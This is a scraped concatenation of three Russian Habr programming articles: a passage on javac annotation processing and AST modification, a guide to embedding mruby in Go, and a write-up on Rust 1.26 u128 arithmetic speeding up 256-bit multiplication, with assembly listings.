public @interface BindView {
int value();
}
```
*RetentionPolicy.SOURCE* значит что эта аннотация доступна только в исходных кодах (что нас полностью устраивает) и достучаться до нее через рефлексию не получится. *ElementType.FIELD* говорит что аннотация применима только к полям класса.
Далее нам потребуется создать сам процессор и прописать его в особом файле:
```
src/main/resources/META-INF.services/javax.annotation.processing.Processor
```
Содержимым этого файла является одна строка, содержащая полное имя класса подключаемого процессора:
```
moscow.droidcon2015.processor.DroidConProcessor
```
**DroidConProcessor.java**
```
@SupportedAnnotationTypes({"moscow.droidcon2015.processor.BindView"})
public class DroidConProcessor extends AbstractProcessor {
private final Map mVisitors = new HashMap<>();
@Override
public boolean process(Set extends TypeElement annotations, RoundEnvironment roundEnv) {
if (annotations.isEmpty()) {
return false;
}
final Set extends Element elements = roundEnv.getElementsAnnotatedWith(BindView.class);
for (final Element element : elements) { // element == MainActivity.mFab
final TypeElement object = (TypeElement) element.getEnclosingElement(); // object == MainActivity
BindViewVisitor visitor = mVisitors.get(object);
if (visitor == null) {
visitor = new BindViewVisitor(processingEnv, object);
mVisitors.put(object, visitor);
}
element.accept(visitor, null);
}
for (final BindViewVisitor visitor : mVisitors.values()) {
visitor.brewJava();
}
return true;
}
@Override
public SourceVersion getSupportedSourceVersion() {
return SourceVersion.latestSupported();
}
}
```
Как бы ни было парадоксально, но сам процессор мы помечаем аннотацией, которая говорит о том, какие аннотации может обрабатывать процессор. Не сложно догадаться, что основным методом является метод *process*. Первым параметром является множество аннотаций из списка поддерживаемых нашим процессором, которые были обнаружены на первых двух фазах компиляции. Второй параметр — окружение компилятора. По-хорошему, в реализации метода мы должны пройти по всему множеству найденных аннотаций и обработать их все, но в данном случае процессор у нас поддерживает всего одну единственную аннотацию, поэтому мы обработаем её «в лоб». Рассмотрим метод *process* по шагам:
* Проверяем, что найдена хотя бы аннотация из поддерживаемых
* Получаем у окружения множество всех элементов, помеченных аннотацией @BindView
* Проходим по данному множеству. Как мы помним, аннотация может быть применена только к полю класса, соответственно, метод *element.getEnclosingElement()* вернет объект класса, в котором поле содержится.
* Создаем класс-посетитель для каждого объекта, содержащего помеченные поля
* Применяем наш посетитель к каждому полю
* После того как все посетители отработали, мы генерируем конечные классы исходного кода
**BindViewVisitor.java**
```
public class BindViewVisitor extends ElementScanner7 {
private final CodeBlock.Builder mFindViewById = CodeBlock.builder();
private final Trees mTrees;
private final Messager mLogger;
private final Filer mFiler;
private final TypeElement mOriginElement;
private final TreeMaker mTreeMaker;
private final Names mNames;
public BindViewVisitor(ProcessingEnvironment env, TypeElement element) {
super();
mTrees = Trees.instance(env);
mLogger = env.getMessager();
mFiler = env.getFiler();
mOriginElement = element;
final JavacProcessingEnvironment javacEnv = (JavacProcessingEnvironment) env;
mTreeMaker = TreeMaker.instance(javacEnv.getContext());
mNames = Names.instance(javacEnv.getContext());
}
}
```
Посмотрим теперь в класс, в котором выполняется вся основная работа. Первое, за что цепляется глаз — [ElementScanner7](http://docs.oracle.com/javase/7/docs/api/javax/lang/model/util/ElementScanner7.html). Это реализация интерфейса [ElementVisitor](http://docs.oracle.com/javase/7/docs/api/javax/lang/model/element/ElementVisitor.html), а 7 — минимальная версии JDK, который мы хотим использовать. Пройдемся по полям (точнее по их типам):
* **CodeBlock.Builder** — это часть библиотеки [javapoet](https://github.com/square/javapoet) от ребят из Square, которая создана чтобы упростить генерацию кода.
* **Trees** — класс из пакета com.sun.source.util, позволяющий обращаться к AST.
* **Messager** — логгер. Можно выводить сообщения в процессе компиляции или прервать процесс, если послать сообщение с приоритетом ERROR.
* **Filer** — класс, позволяющий создавать файлы исходного кода в текущей песочнице компилятора. Знает где именно разместить файл в файловой системе. Например, для gradle это build/intermediates/classes.
* **TreeMaker** — класс из пакета com.sun.tools.javac.tree, который отвечает абсолютно за всю магию, которая будет происходить далее! Он же используется в первой фазе компиляции для построения AST.
* **Names** — класс из пакета com.sun.tools.javac.util, который преобразует имена элементов в конструкции AST.
Как вы помните, мы применили *ElementVisitor* к полю класса, значит метод, который нас интересует — **visitVariable**
```
@Override
public Void visitVariable(VariableElement field, Void aVoid) {
((JCTree) mTrees.getTree(field)).accept(new TreeTranslator() {
@Override
public void visitVarDef(JCTree.JCVariableDecl jcVariableDecl) {
super.visitVarDef(jcVariableDecl);
jcVariableDecl.mods.flags &= ~Flags.PRIVATE;
}
});
final BindView bindView = field.getAnnotation(BindView.class);
mFindViewById.addStatement("(($T) this).$L = ($T) findViewById($L)",
ClassName.get(mOriginElement), field.getSimpleName(), ClassName.get(field.asType()), bindView.value());
return super.visitVariable(field, aVoid);
}
```
Небольшое отступление, чтобы понять что будет дальше: классы из javax.lang.model.element (VariableElement, TypeElement, и т.д.) — это, скажем так, высокоуровневая абстракция над AST. С помощью класса *Trees* мы получаем низкоуровневую абстракцию, натравливаем на нее реализацию [TreeVisitor](https://docs.oracle.com/javase/7/docs/jdk/api/javac/tree/com/sun/source/tree/TreeVisitor.html)'а и попадаем в метод *visitVarDef* в параметрах которого находится AST представление нашего поля (*JCTree.JCVariableDecl*). Дальше грязный хак — убираем у поля флаг *private*. Да, да, мы нарушаем принцип инкапсуляции, но делаем это на уровне компилятора (где нам уже, в принципе, побоку что происходит). На уровне же исходного кода инкапсуляция сохраняется: IDE не даст обращаться к полю извне, а статический анализатор спокойно отрапортует об отсутствии проблем с этим полем. Добавляем в CodeBlock.Builder выражение для инициализации поля и все.
#### Генерируем файл исходного кода
После того как мы посетили все поля нашего класса, необходимо сгенерировать файл исходного кода.
**brewJava**
```
public void brewJava() {
final TypeSpec typeSpec = TypeSpec.classBuilder(mOriginElement.getSimpleName() + "$$Proxy") // MainActivity$$Proxy
.addModifiers(Modifier.ABSTRACT)
.superclass(ClassName.get(mOriginElement.getSuperclass())) // extends AppCompatActivity
.addOriginatingElement(mOriginElement)
.addMethod(MethodSpec.methodBuilder("setContentView")
.addAnnotation(Override.class)
.addModifiers(Modifier.PUBLIC)
.addParameter(TypeName.INT, "layoutResId")
.addStatement("super.setContentView(layoutResId)")
.addCode(mFindViewById.build()) // findViewById...
.build())
.build();
final JavaFile javaFile = JavaFile.builder(mOriginElement.getEnclosingElement().toString(), typeSpec)
.addFileComment("Generated by DroidCon processor, do not modify")
.build();
try {
final JavaFileObject sourceFile = mFiler.createSourceFile(
javaFile.packageName + "." + typeSpec.name, mOriginElement);
try (final Writer writer = new BufferedWriter(sourceFile.openWriter())) {
javaFile.writeTo(writer);
}
// TODO: MAGIC
} catch (IOException e) {
mLogger.printMessage(Diagnostic.Kind.ERROR, e.getMessage(), mOriginElement);
}
}
```
Всю работу по генерации исходного кода взяла на себя библиотека *javapoet*. Безусловно, можно было бы обойтись без нее, но тогда весь исходник пришлось бы генерировать вручную с помощью конткатенации строк, что, согласитесь, не очень удобно. На этом этапе заканчивают все создатели библиотек, подобных *ButterKnife*. Мы получили файл класса, который потом находим с помощью рефлексии и, с её же помощью, дергаем соответствующий метод, который выполняет полезную работу. Но я обещал, что мы избавимся от этой необходимости!
#### We need to go deeper!
**TODO: MAGIC**
```
JCTree.JCExpression selector = mTreeMaker.Ident(mNames.fromString(javaFile.packageName));
selector = mTreeMaker.Select(selector, mNames.fromString(typeSpec.name));
((JCTree.JCClassDecl) mTrees.getTree(mOriginElement)).extending = selector;
```
Да! Три строчки. Что же в них происходит:
* Выбираем один из узлов AST. В нашем случае — пакет, в котором лежит сгенерированный класс.
* Идем вглубь дерева и выбираем следующий узел — сам сгенерированный класс.
* У исходного элемента (MainActivity) меняем свойство extending, которое, собственно, означает от чего унаследован этот класс.
Еще более простым языком — мы встраиваем сгенерированный класс в иерархию наследования:
```
MainActivity extends MainActivity$$Proxy extends AppCompatActivity
```
**MainActivity$$Proxy.java**
```
// Generated by DroidCon processor, do not modify
package moscow.droidcon2015.activity;
import android.support.design.widget.FloatingActionButton;
import android.support.v7.app.AppCompatActivity;
import java.lang.Override;
abstract class MainActivity$$Proxy extends AppCompatActivity {
@Override
public void setContentView(int layoutResId) {
super.setContentView(layoutResId);
((MainActivity) this).mFab = (FloatingActionButton) findViewById(2131492965);
}
}
```
**MainActivity.class (decompiled)**
```
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package moscow.droidcon2015.activity;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.view.View;
import android.view.View.OnClickListener;
import moscow.droidcon2015.activity.MainActivity$$Proxy;
public class MainActivity extends MainActivity$$Proxy {
FloatingActionButton mFab;
public MainActivity() {
}
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(2130968600);
this.mFab.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
}
});
}
}
```
#### Заключение
К сожалению, в рамках одной статьи невозможно рассказать обо всех тонкостях Annotation processing’а и тех сокровищах, что лежат внутри com.sun.tools.javac.\*. Что еще более огорчает, это полное отсутсвие какой-либо документации по этим сокровищам и отсутствие совместимости между релизами. Дальше прозвучат страшные слова: чтобы обеспечить поддержку компилятора java7 и java8 нужно будет использовать рефлексию в процессе компиляции! От это поворот! Правда? Но еще раз повторю — это относится только к com.sun.tools.javac.
#### [По мотивам DroidCon](https://www.youtube.com/watch?v=nuz9WfbxTUA)
Читать статью удобнее, попутно листая [презентацию](https://docs.google.com/presentation/d/1zamMD_7LeGItOYFUPoYYjKb8hFl243krqZgPKwVgvr0/edit?usp=sharing).
Репозиторий проекта [тут](https://github.com/DanielSerdyukov/droidcon2015).
Ответы на вопросы:
* Это не исследовательская задача. Все это уже активно работает в ряде проектов.
* Преимущество этого подхода перед модификацией байткода библиотеками вроде ASM в том, что обработка аннотаций выполняется в момент компиляции а не после и возможность выхватить ошибку компиляции а не рантайма, имхо, намного лучше.
* Посмотреть можно в библиотеке [DroidKit](https://github.com/DanielSerdyukov/droidkit). [andkulikov](https://habrahabr.ru/users/andkulikov/), документация, несомненно, появится. Когда? When is done. =)
#### Больше хардкора!
**visitMethodDef**
```
@Override
public void visitMethodDef(JCTree.JCMethodDecl methodDecl) {
super.visitMethodDef(methodDecl);
methodDecl.body.stats = com.sun.tools.javac.util.List.of(
mTreeMaker.Try(
mTreeMaker.Block(0, methodDecl.body.stats),
com.sun.tools.javac.util.List.nil(),
mTreeMaker.Block(0, com.sun.tools.javac.util.List.of(
mTreeMaker.Exec(mTreeMaker.Apply(
com.sun.tools.javac.util.List.nil(),
ident(mPackageName, mHelperClassName, "update"),
com.sun.tools.javac.util.List.of(
mTreeMaker.Literal(TypeTag.CLASS, mColumnName),
mTreeMaker.Select(mTreeMaker.Ident(mNames.\_this), mNames.fromString(mFieldName)),
mTreeMaker.Select(mTreeMaker.Ident(mNames.\_this), mNames.fromString(mPrimaryKey.call()))
)
))
))
)
);
}
```
Вот такой вот страшный на первый взгляд код всего лишь модифицирует код метода сеттера таким образом, чтобы изменения записывались сразу в БД.
**брюки плавно превращаются...**
```
// было
public void setText(String text) {
mText = text;
}
// стало
public void setText(String text) {
try {
this.mText = text;
} finally {
Foo$$SQLiteHelper.update("text", this.mText, this.mId);
}
}
```
#### Источники
* [The Java® Language Specification](http://docs.oracle.com/javase/specs/jls/se7/html/index.html)
* [The Hacker’s Guide to Javac](http://scg.unibe.ch/archive/projects/Erni08b.pdf)
* [Droidcon NYC 2014 — Annotation Processing Boilerplate Destruction](https://www.youtube.com/watch?v=tRmJm2_qytM)
* [Droidcon NYC 2015 — @AnnotationProcessors («ByExample»)](http://www.youtube.com/watch?v=dBUAqPs0TB0) | https://habr.com/ru/post/206208/ | null | ru | null |
# Запускаем скрипты Ruby из Go Lang
Для использования Ruby как скриптового языка, то есть как языка для встраивания, вроде lua, существует легковесная реализация Ruby под названием [MRuby](https://en.wikipedia.org/wiki/Mruby).
Для go удалось найти только [одну стабильную библиотеку с биндингом к mruby](https://github.com/mitchellh/go-mruby). По умолчанию, она может собрать mruby версии 1.2.0 (2015 год выпуска), и можно попробовать сделать сборку вплоть до версии 1.4.1 (2018 год выпуска). Но актуальная версия mruby сейчас имеет версию 2.1.2 (2020 год). Есть форк с поддержкой [версии mruby 2.1.0](https://github.com/mrbgems/go-mruby). Этот форк и будем использовать, что бы после небольших изменений получить в том числе версию 2.1.2.
В версиях старше 2.1.0 внесли как минимум следующие несовместимости на которые следует обратить внимание.
Версия [2.1.1](http://mruby.org/releases/2020/06/04/mruby-2.1.1-released.html):
* Remove MRB\_INT16 configuration option.
Версия [2.1.2](http://mruby.org/releases/2020/08/06/mruby-2.1.2-released.html)
* IO#readchar returns a UTF-8 character fragment instead of EOFError if EOF is reached in the middle of UTF-8 characters. ([86271572](http://mruby.org/releases/2020/08/06/(https://github.com/mruby/mruby/commit/86271572))) This behavior is different from CRuby, but it is a mruby specification that supports either ASCII or UTF-8 exclusively.
* Remove **mrb\_run()** from C APIs.
Для успешной сборки go-mruby критично удаление метода mrb\_run. Как могут проявиться другие "Breaking Changes" пока не особо ясно. Теперь пошагово установка go-mruby:
* Клонируем <https://github.com/mrbgems/go-mruby/tree/mruby-2> в корень проекта и переключаемся на ветку mruby-2.
* Удаляем go.mod и go.sum из директории go-mruby. Если их оставить, то go может не дать корректно импортировать модуль внутри программы. Возможно, зависит от версии go и надо покрутить настройки вендоринга, так как на протяжении нескольких версий в go поведение по умолчанию менялось. Ещё можно положить go-mruby в директорию vendor и исправить пути импортов.
* Из файла mruby.go необходимо удалить метод Run(), а в тестах заменить все вызовы этого метода на RunWithContext().
* В Makefile исправляем MRUBY\_COMMIT на 2.1.2 - так мы получим актуальную версию mruby.
* Запускаем make. Он сделает клон репозитория указанной версии mruby во вложенную директорию vendor и скомпилирует Си библиотеку libmruby.a.
На что ещё стоит обратить внимание. В форке в обязательном порядке занесён гем mruby-error как раз из за которого форк не был принят (<https://github.com/mitchellh/go-mruby/pull/75>). В mruby нет поддержки require и нельзя подключить модули в рантайме. Все необходимые модули необходимо подключить на этапе компиляции. Список доступных библиотек есть на странице <http://mruby.org/libraries/>, а в оригинальном файле mruby/build\_config.rb есть пример подключения подключения стандартных и пользовательских библиотек. В mruby/examples/mrbgems можно подсмотреть примеры реализации собственных расширений, а в mruby/mrbgems стандартные библиотеки. Например, возможности метапрограммирования вынесены в отдельный гем mruby-metaprog.
Попробуем подключить поддержку json. Для этого необходимо в go-mruby/build\_config.rb прописать библиотеку:
```
gem :github => 'iij/mruby-iijson'
```
Пример использования JSON.parse, при этом, как видим, опция symbolize\_names этой библиотекой похоже не поддерживается.
```
func main() {
mrb := mruby.NewMrb()
defer mrb.Close()
class := mrb.DefineClass("Example", nil)
class.DefineClassMethod("json_value", func(m *mruby.Mrb, self *mruby.MrbValue) (mruby.Value, mruby.Value) {
return mruby.String(`{"int":1, "array":["s1", "s2", {"nil": null}]}`), nil
}, mruby.ArgsReq(1))
result, err := mrb.LoadString(`JSON.parse(Example.json_value, {"symbolize_names" => true})`)
if err != nil {
panic(err.Error())
}
// Result: {"int"=>1, "array"=>["s1", "s2", {"nil"=>nil}]}
fmt.Printf("Result: %s\n", result.String())
}
``` | https://habr.com/ru/post/544524/ | null | ru | null |
# Как обновление Rust 1.26 ускорило мой код в три с лишним раза
Хочу поделиться небольшой историей о мощи LLVM и преимуществах языков высокого уровня над ассемблером.
Я работаю в компании Parity Technologies, которая поддерживает [клиент Parity Ethereum](https://github.com/paritytech/parity). В этом клиенте нам нужна быстрая 256-битная арифметика, которую приходится эмулировать на программном уровне, потому что никакое оборудование не поддерживает её аппаратно.
Долгое время мы параллельно делаем две реализации арифметики: одну на Rust для стабильных сборок и одну со встроенным ассемблерным кодом (который автоматически используется nightly-версией компилятора). Мы так поступаем, потому что храним 256-битные числа как массивы 64-битных чисел, а в Rust нет никакого способа умножить два 64-битных числа, чтобы получить результат более 64 бит (так как целочисленные типы Rust только доходят до `u64`). Это несмотря на то, что x86\_64 (наша основная целевая платформа) нативно поддерживает 128-битные результаты вычислений с 64-битными числами. Так что мы разделяем каждое 64-битное число на два 32-битных (потому что *можно* умножить два 32-битных числа и получить 64-битный результат).
```
impl U256 {
fn full_mul(self, other: Self) -> U512 {
let U256(ref me) = self;
let U256(ref you) = other;
let mut ret = [0u64; U512_SIZE];
for i in 0..U256_SIZE {
let mut carry = 0u64;
// `split` splits a 64-bit number into upper and lower halves
let (b_u, b_l) = split(you[i]);
for j in 0..U256_SIZE {
// This process is so slow that it's faster to check for 0 and skip
// it if possible.
if me[j] != 0 || carry != 0 {
let a = split(me[j]);
// `mul_u32` multiplies a 64-bit number that's been split into
// an `(upper, lower)` pair by a 32-bit number to get a 96-bit
// result. Yes, 96-bit (it returns a `(u32, u64)` pair).
let (c_l, overflow_l) = mul_u32(a, b_l, ret[i + j]);
// Since we have to multiply by a 64-bit number, we have to do
// this twice.
let (c_u, overflow_u) = mul_u32(a, b_u, c_l >> 32);
ret[i + j] = (c_l & 0xffffffff) + (c_u << 32);
// Then we have to do this complex logic to set the result. Gross.
let res = (c_u >> 32) + (overflow_u << 32);
let (res, o1) = res.overflowing_add(overflow_l + carry);
let (res, o2) = res.overflowing_add(ret[i + j + 1]);
ret[i + j + 1] = res;
carry = (o1 | o2) as u64;
}
}
}
U512(ret)
}
}
```
Вам даже не нужно понимать код, чтобы увидеть, насколько это неоптимально. Проверка выдачи компилятора показывает, что сгенерированный ассемблерный код крайне неоптимален. Он делает много лишней работы, по существу, просто чтобы обойти ограничения Rust. Поэтому мы написали свою версию кода на встроенном ассемблере. Важно использовать именно нашу версию ассемблерного кода, потому что x86\_64 изначально поддерживает умножение двух 64-битных значений для получения 128-битного результата. Когда Rust делает `a * b`, если `a` и `b` представлены в формате `u64`, процессор реально умножает их и получает 128-битный результат, а затем Rust просто выбрасывает верхние 64 бита. Мы хотим оставить эти 64 верхних бита, и единственный способ эффективного доступа к ним — использовать встроенный ассемблерный код.
Как несложно догадаться, наша реализация на ассемблере оказалась намного быстрее:
```
name u64.bench ns/iter inline_asm.bench ns/iter diff ns/iter diff % speedup
u256_full_mul 243,159 197,396 -45,763 -18.82% x 1.23
u256_mul 268,750 95,843 -172,907 -64.34% x 2.80
u256_mul_small 1,608 789 -819 -50.93% x 2.04
```
`u256_full_mul` проверяет функцию выше, `u256_mul` перемножает два 256-битных числа с получением 256-битного результата (в Rust вы просто создаёте 512-битный результат и отбрасываете верхнюю половину, но на ассемблере у нас отдельная реализация), а `u256_mul_small` перемножает два маленьких 256-битных числа. Как видите, наш ассемблерный код в 2,8 раза быстрее. Это намного, намного лучше. К сожалению, он работает только в nightly-версии компилятора, и даже в нём только для платформы x86\_64. Правда в том, что понадобилось много усилий и куча неудачных попыток, чтобы код Rust стал «хотя бы» вдвое быстрее ассемблера. Просто не существовало хорошего способа передать компилятору необходимые данные.
Всё изменилось в версии [Rust 1.26](https://blog.rust-lang.org/2018/05/10/Rust-1.26.html). Теперь мы можем написать `a as u128 * b as u128` — и компилятор будет использовать нативное для платформы x86\_64 умножение u64-to-u128 (даже хотя вы транслируете оба числа в `u128`, он понимает, что они «на самом деле» всего `u64`, а вам просто нужен результат `u128`). Это значит, что наш код теперь выглядит следующим образом:
```
impl U256 {
fn full_mul(self, other: Self) -> U512 {
let U256(ref me) = self;
let U256(ref you) = other;
let mut ret = [0u64; U512_SIZE];
for i in 0..U256_SIZE {
let mut carry = 0u64;
let b = you[i];
for j in 0..U256_SIZE {
let a = me[j];
// This compiles down to just use x86's native 128-bit arithmetic
let (hi, low) = split_u128(a as u128 * b as u128);
let overflow = {
let existing_low = &mut ret[i + j];
let (low, o) = low.overflowing_add(*existing_low);
*existing_low = low;
o
};
carry = {
let existing_hi = &mut ret[i + j + 1];
let hi = hi + overflow as u64;
let (hi, o0) = hi.overflowing_add(carry);
let (hi, o1) = hi.overflowing_add(*existing_hi);
*existing_hi = hi;
(o0 | o1) as u64
}
}
}
U512(ret)
}
}
```
Хотя это почти наверняка медленнее, чем нативный для LLVM тип `i256`, но скорость очень сильно выросла. Здесь мы сравниваем с оригинальной реализацией Rust:
```
name u64.bench ns/iter u128.bench ns/iter diff ns/iter diff % speedup
u256_full_mul 243,159 73,416 -169,743 -69.81% x 3.31
u256_mul 268,750 85,797 -182,953 -68.08% x 3.13
u256_mul_small 1,608 558 -1,050 -65.30% x 2.88
```
Что самое замечательное, теперь повышение скорости сделано в стабильной версии компилятора. Поскольку мы компилируем бинарники клиента только стабильной версией, то раньше получить преимущество в скорости могли лишь пользователи, которые сами компилировали клиент из исходников. Поэтому нынешнее улучшение затронуло многих пользователей. Но погодите, это ещё не всё! Новый скомпилированный код со значительным отрывом превосходит и реализацию на ассемблере, даже в тесте перемножения 256-битных чисел с получением 256-битного результата. Это несмотря на то, что код Rust по-прежнему сначала выдаёт 512-битный результат, а затем отбрасывает верхнюю половину, а реализация на ассемблере этого не делает:
```
name inline_asm.bench ns/iter u128.bench ns/iter diff ns/iter diff % speedup
u256_full_mul 197,396 73,416 -123,980 -62.81% x 2.69
u256_mul 95,843 85,797 -10,046 -10.48% x 1.12
u256_mul_small 789 558 -231 -29.28% x 1.41
```
Для полного умножения это очень мощное улучшение, тем более что оригинальный код использовал высокооптимизированные ассемблерные инкантации. Теперь слабонервные могут выйти, потому что я собираюсь погрузиться в сгенерированный ассемблер.
Вот написанный вручную ассемблерный код. Я представил его без комментариев, потому что хочу прокомментировать ту версию, которая фактически создаётся компилятором (поскольку, как вы увидите, макрос `asm!` скрывает больше, чем можно было ожидать):
```
impl U256 {
/// Multiplies two 256-bit integers to produce full 512-bit integer
/// No overflow possible
pub fn full_mul(self, other: U256) -> U512 {
let self_t: &[u64; 4] = &self.0
let other_t: &[u64; 4] = &other.0
let mut result: [u64; 8] = unsafe { ::core::mem::uninitialized() };
unsafe {
asm!("
mov $8, %rax
mulq $12
mov %rax, $0
mov %rdx, $1
mov $8, %rax
mulq $13
add %rax, $1
adc $$0, %rdx
mov %rdx, $2
mov $8, %rax
mulq $14
add %rax, $2
adc $$0, %rdx
mov %rdx, $3
mov $8, %rax
mulq $15
add %rax, $3
adc $$0, %rdx
mov %rdx, $4
mov $9, %rax
mulq $12
add %rax, $1
adc %rdx, $2
adc $$0, $3
adc $$0, $4
xor $5, $5
adc $$0, $5
xor $6, $6
adc $$0, $6
xor $7, $7
adc $$0, $7
mov $9, %rax
mulq $13
add %rax, $2
adc %rdx, $3
adc $$0, $4
adc $$0, $5
adc $$0, $6
adc $$0, $7
mov $9, %rax
mulq $14
add %rax, $3
adc %rdx, $4
adc $$0, $5
adc $$0, $6
adc $$0, $7
mov $9, %rax
mulq $15
add %rax, $4
adc %rdx, $5
adc $$0, $6
adc $$0, $7
mov $10, %rax
mulq $12
add %rax, $2
adc %rdx, $3
adc $$0, $4
adc $$0, $5
adc $$0, $6
adc $$0, $7
mov $10, %rax
mulq $13
add %rax, $3
adc %rdx, $4
adc $$0, $5
adc $$0, $6
adc $$0, $7
mov $10, %rax
mulq $14
add %rax, $4
adc %rdx, $5
adc $$0, $6
adc $$0, $7
mov $10, %rax
mulq $15
add %rax, $5
adc %rdx, $6
adc $$0, $7
mov $11, %rax
mulq $12
add %rax, $3
adc %rdx, $4
adc $$0, $5
adc $$0, $6
adc $$0, $7
mov $11, %rax
mulq $13
add %rax, $4
adc %rdx, $5
adc $$0, $6
adc $$0, $7
mov $11, %rax
mulq $14
add %rax, $5
adc %rdx, $6
adc $$0, $7
mov $11, %rax
mulq $15
add %rax, $6
adc %rdx, $7
"
: /* $0 */ "={r8}"(result[0]), /* $1 */ "={r9}"(result[1]), /* $2 */ "={r10}"(result[2]),
/* $3 */ "={r11}"(result[3]), /* $4 */ "={r12}"(result[4]), /* $5 */ "={r13}"(result[5]),
/* $6 */ "={r14}"(result[6]), /* $7 */ "={r15}"(result[7])
: /* $8 */ "m"(self_t[0]), /* $9 */ "m"(self_t[1]), /* $10 */ "m"(self_t[2]),
/* $11 */ "m"(self_t[3]), /* $12 */ "m"(other_t[0]), /* $13 */ "m"(other_t[1]),
/* $14 */ "m"(other_t[2]), /* $15 */ "m"(other_t[3])
: "rax", "rdx"
:
);
}
U512(result)
}
}
```
А вот что он генерирует. Я обильно прокомментировал код, чтобы вы могли понять, что происходит, даже если никогда в жизни не работали с ассемблером, но вам понадобится знание некоторых базовых понятий низкоуровневого программирования, таких как разница между памятью и регистрами. Если нужен учебник по структуре CPU, можно начать со [статьи Википедии о структуре и реализации процессоров](https://en.wikipedia.org/wiki/Central_processing_unit#Structure_and_implementation):
```
bigint::U256::full_mul:
/// вступление - это генерирует Rust
pushq %r15
pushq %r14
pushq %r13
pushq %r12
subq $0x40, %rsp
/// загрузка в регистры входных массивов...
movq 0x68(%rsp), %rax
movq 0x70(%rsp), %rcx
movq 0x78(%rsp), %rdx
movq 0x80(%rsp), %rsi
movq 0x88(%rsp), %r8
movq 0x90(%rsp), %r9
movq 0x98(%rsp), %r10
movq 0xa0(%rsp), %r11
/// ...и немедленно обратно в память
/// Так делает компилятор Rust. Есть способ
/// избежать этого, но вернусь к нему позже
/// Эти четыре представляют первый входной массив
movq %rax, 0x38(%rsp)
movq %rcx, 0x30(%rsp)
movq %rdx, 0x28(%rsp)
movq %rsi, 0x20(%rsp)
/// Эти четыре - выходной массив, который инициализируется
/// как второй массив на входе.
movq %r8, 0x18(%rsp)
movq %r9, 0x10(%rsp)
movq %r10, 0x8(%rsp)
movq %r11, (%rsp)
/// Этот основной цикл вы увидите много раз,
/// так что не буду всё время к нему возвращаться.
///
/// for i in 0..U256_SIZE {
/// for j in 0..U256_SIZE {
/// /* Loop body */
/// }
/// }
/// Загрузка нулевого элемента входного массива в
/// регистр "%rax". Первый элемент в реальности уже
/// в `%rax`, но его загружают всё равно.
/// Это потому что макрос `asm!` прячет много деталей,
/// о чём я расскажу позже.
movq 0x38(%rsp), %rax
/// Умножение на нулевой элемент выходного массива. Выполняется
/// в памяти, а не в регистре, и поэтому значительно медленнее.
/// Опять же, об этом позже.
mulq 0x18(%rsp)
/// `mulq` перемножает 64-битные числа и сохраняет нижние и верхние
/// 64 бита результата в `%rax` и `%rdx`, соответственно. Переносим
/// нижние биты в `%r8` (нижние 64 бита 512-битного результата),
/// а верхние в `%r9` (следующие нижние 64 бита результата).
movq %rax, %r8
movq %rdx, %r9
/// То же самое делаем для `i = 0, j = 1`
movq 0x38(%rsp), %rax
mulq 0x10(%rsp)
/// Выше мы переместили значения в выходные регистры, на этот раз
/// нужно добавить результаты в выдачу.
addq %rax, %r9
/// Здесь бы добавляем 0, потому что CPU использует "бит переноса"
/// (независимо от переполнения предыдущего сложения)
/// как дополнительный вход. Это по сути то же самое,
/// что добавить 1 к `rdx`, если предыдущее сложение переполнено.
adcq $0x0, %rdx
/// Затем переносим верхние 64 бита умножения (плюс бит переноса
/// от сложения) в третьи снизу 64 бита выдачи.
movq %rdx, %r10
/// Затем продолжаем для `j = 2` и `j = 3`
movq 0x38(%rsp), %rax
mulq 0x8(%rsp)
addq %rax, %r10
adcq $0x0, %rdx
movq %rdx, %r11
movq 0x38(%rsp), %rax
mulq (%rsp)
addq %rax, %r11
adcq $0x0, %rdx
movq %rdx, %r12
/// Делаем то же самое для `i = 1`, `i = 2` и `i = 3`
movq 0x30(%rsp), %rax
mulq 0x18(%rsp)
addq %rax, %r9
adcq %rdx, %r10
adcq $0x0, %r11
adcq $0x0, %r12
/// Эти `xor` просто для гарантии обнуления `%r13`. Снова, это
/// не оптимально (нам вообще не нужно обнулять регистры), но
/// разберёмся с этим.
xorq %r13, %r13
adcq $0x0, %r13
xorq %r14, %r14
adcq $0x0, %r14
xorq %r15, %r15
adcq $0x0, %r15
movq 0x30(%rsp), %rax
mulq 0x10(%rsp)
addq %rax, %r10
adcq %rdx, %r11
adcq $0x0, %r12
adcq $0x0, %r13
adcq $0x0, %r14
adcq $0x0, %r15
movq 0x30(%rsp), %rax
mulq 0x8(%rsp)
addq %rax, %r11
adcq %rdx, %r12
adcq $0x0, %r13
adcq $0x0, %r14
adcq $0x0, %r15
movq 0x30(%rsp), %rax
mulq (%rsp)
addq %rax, %r12
adcq %rdx, %r13
adcq $0x0, %r14
adcq $0x0, %r15
movq 0x28(%rsp), %rax
mulq 0x18(%rsp)
addq %rax, %r10
adcq %rdx, %r11
adcq $0x0, %r12
adcq $0x0, %r13
adcq $0x0, %r14
adcq $0x0, %r15
movq 0x28(%rsp), %rax
mulq 0x10(%rsp)
addq %rax, %r11
adcq %rdx, %r12
adcq $0x0, %r13
adcq $0x0, %r14
adcq $0x0, %r15
movq 0x28(%rsp), %rax
mulq 0x8(%rsp)
addq %rax, %r12
adcq %rdx, %r13
adcq $0x0, %r14
adcq $0x0, %r15
movq 0x28(%rsp), %rax
mulq (%rsp)
addq %rax, %r13
adcq %rdx, %r14
adcq $0x0, %r15
movq 0x20(%rsp), %rax
mulq 0x18(%rsp)
addq %rax, %r11
adcq %rdx, %r12
adcq $0x0, %r13
adcq $0x0, %r14
adcq $0x0, %r15
movq 0x20(%rsp), %rax
mulq 0x10(%rsp)
addq %rax, %r12
adcq %rdx, %r13
adcq $0x0, %r14
adcq $0x0, %r15
movq 0x20(%rsp), %rax
mulq 0x8(%rsp)
addq %rax, %r13
adcq %rdx, %r14
adcq $0x0, %r15
movq 0x20(%rsp), %rax
mulq (%rsp)
addq %rax, %r14
adcq %rdx, %r15
/// Наконец мы всё перенесли из регистров, так что
/// возвращаем всё на стек
movq %r8, (%rdi)
movq %r9, 0x8(%rdi)
movq %r10, 0x10(%rdi)
movq %r11, 0x18(%rdi)
movq %r12, 0x20(%rdi)
movq %r13, 0x28(%rdi)
movq %r14, 0x30(%rdi)
movq %r15, 0x38(%rdi)
movq %rdi, %rax
addq $0x40, %rsp
popq %r12
popq %r13
popq %r14
popq %r15
retq
```
